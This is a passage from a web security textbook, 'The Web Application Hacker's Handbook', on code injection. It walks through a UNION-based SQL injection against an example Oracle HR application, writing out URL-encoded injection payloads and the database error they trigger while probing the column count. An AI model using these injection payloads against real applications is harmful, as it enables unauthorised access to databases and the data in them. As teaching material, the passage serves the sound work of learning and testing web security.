The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

256

Chapter 9 

■

Injecting Code

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 256

---

An Oracle Hack

Consider an HR application that allows users to perform employee searches. A

typical search employs the following URL:

https://wahh-app.com/employees.asp?EmpNo=7521

This search returns the following results:

ID

EMPLOYEE

JOB

7521

WARD

SALESMAN

We attempt to perform a 

UNION

attack, and so need to determine the

required number of columns used in the query (which may differ from the

number of columns returned in the application’s reponses). Injecting a query

that returns a single column results in an error message:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL%

20from%20dual--

[Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result

columns

We continue adding additional 

NULL

s to the injected query until no error

message is returned, and our query is executed:

https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,

NULL,NULL,NULL%20from%20dual--